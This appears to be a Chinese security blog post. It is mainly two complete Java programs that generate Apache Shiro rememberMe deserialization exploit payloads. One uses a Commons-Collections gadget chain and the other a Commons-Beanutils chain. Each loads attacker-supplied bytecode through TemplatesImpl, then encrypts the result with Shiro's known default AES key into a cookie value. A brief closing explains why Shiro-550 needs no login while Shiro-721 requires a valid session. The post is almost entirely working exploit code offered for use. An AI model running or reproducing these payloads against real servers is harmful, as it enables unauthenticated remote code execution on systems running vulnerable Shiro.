import java.nio.file.Paths;
import java.util.*;


public class shiroPayload {
    public static void main(String[] args) throws Exception {
        //链子(cc或者cb链)
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = TemplatesImpl.class;
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"qs");
        Field bytecode = templatesClass.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\javaSecurity\\ccTest\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = new byte[][]{code};
        bytecode.set(templates,codes);
        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);

        HashMap map = new HashMap();
        Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "3");
        lazymap.remove(templates);
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap, invokerTransformer);
        byte[] data = serialize(hashMap);

        //shiro payload准备(把链子的序列化结果进行相应加密)
        String base64Key = "kPH+bIxk5D2deZiIxcaaaA==";
        SecretKey key = getKeyFromBase64(base64Key);
        byte[] ivBytes = new byte[16];
        new java.util.Random().nextBytes(ivBytes);
        IvParameterSpec iv = new IvParameterSpec(ivBytes);
        //unserialize(bytes);
        String p = getPayload(data,key,iv);
        System.out.println(p);


    }
    private static SecretKey getKeyFromBase64(String base64Key) {
            byte[] decodedKey = Base64.getDecoder().decode(base64Key);
        return new SecretKeySpec(decodedKey, 0, decodedKey.length, "AES");
    }
    public static String getPayload(byte[] data, SecretKey key, IvParameterSpec iv) throws Exception{
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(Cipher.ENCRYPT_MODE, key, iv);
        byte[] encrypted = cipher.doFinal(data);
        // 将IV和加密后的数据一起编码为Base64字符串
        byte[] combined = new byte[iv.getIV().length + encrypted.length];
        System.arraycopy(iv.getIV(), 0, combined, 0, iv.getIV().length);
        System.arraycopy(encrypted, 0, combined, iv.getIV().length, encrypted.length);
        return Base64.getEncoder().encodeToString(combined);
    }


    public static byte[] serialize(Object o) throws Exception {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(bout);
        oout.writeObject(o);
        byte[] bytes = bout.toByteArray();
        oout.close();
        bout.close();
        return bytes;
    }
    public static Object unserialize(byte[] bytes) throws Exception{
        ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
        ObjectInputStream oin = new ObjectInputStream(bin);
        return oin.readObject();
    }
}

class TestURLStreamHandler extends URLStreamHandler {
    @Override
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
    @Override
    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

cb依赖

commons-beanutils包是shiro本身就有的包,不需要maven添加额外的依赖

shiroCB payload:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;


public class shiroPayload {
    public static void main(String[] args) throws Exception {
        //链子(cc或者cb链)

        //CB
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = TemplatesImpl.class;
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"qs");
        Field bytecode = templatesClass.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\javaSecurity\\ccTest\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = new byte[][]{code};
        bytecode.set(templates,codes);

        BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());//BeanComparator.compare->PropertyUtils.getProperty->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        //size需要为2
        priorityQueue.add(templates);
        priorityQueue.add(2);
        //反序列化前修改PriorityQueue的comparator属性
        Class pclas = PriorityQueue.class;
        Field Fcomparator = pclas.getDeclaredField("comparator");
        Fcomparator.setAccessible(true);
        Fcomparator.set(priorityQueue,beanComparator);
        byte[] data = serialize(priorityQueue);

        //shiro payload准备(把链子的序列化结果进行相应加密)
        String base64Key = "kPH+bIxk5D2deZiIxcaaaA==";
        SecretKey key = getKeyFromBase64(base64Key);
        byte[] ivBytes = new byte[16];
        new java.util.Random().nextBytes(ivBytes);
        IvParameterSpec iv = new IvParameterSpec(ivBytes);
        String p = getPayload(data,key,iv);
        System.out.println(p);


    }
    private static SecretKey getKeyFromBase64(String base64Key) {
            byte[] decodedKey = Base64.getDecoder().decode(base64Key);
        return new SecretKeySpec(decodedKey, 0, decodedKey.length, "AES");
    }
    public static String getPayload(byte[] data, SecretKey key, IvParameterSpec iv) throws Exception{
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(Cipher.ENCRYPT_MODE, key, iv);
        byte[] encrypted = cipher.doFinal(data);
        // 将IV和加密后的数据一起编码为Base64字符串
        byte[] combined = new byte[iv.getIV().length + encrypted.length];
        System.arraycopy(iv.getIV(), 0, combined, 0, iv.getIV().length);
        System.arraycopy(encrypted, 0, combined, iv.getIV().length, encrypted.length);
        return Base64.getEncoder().encodeToString(combined);
    }


    public static byte[] serialize(Object o) throws Exception {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(bout);
        oout.writeObject(o);
        byte[] bytes = bout.toByteArray();
        oout.close();
        bout.close();
        return bytes;
    }
    public static Object unserialize(byte[] bytes) throws Exception{
        ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
        ObjectInputStream oin = new ObjectInputStream(bin);
        return oin.readObject();
    }
}

class TestURLStreamHandler extends URLStreamHandler {
    @Override
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
    @Override
    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

shiro550和shiro721区别

shiro550是先验证remberme这个cookie,而不是验证身份;而shiro721会先进行身份验证

所以shiro550利用并不需要登录;而shiro721的利用需要登录拥有有效的会话才可以利用

shiro550使用默认密钥,容易爆破;而shiro721密钥随机生成,基本只有通过有效的remberme cookie来爆破正确key

posted @ 2024-11-26 15:37  qingshanboy  阅读(2)  评论(0编辑  收藏  举报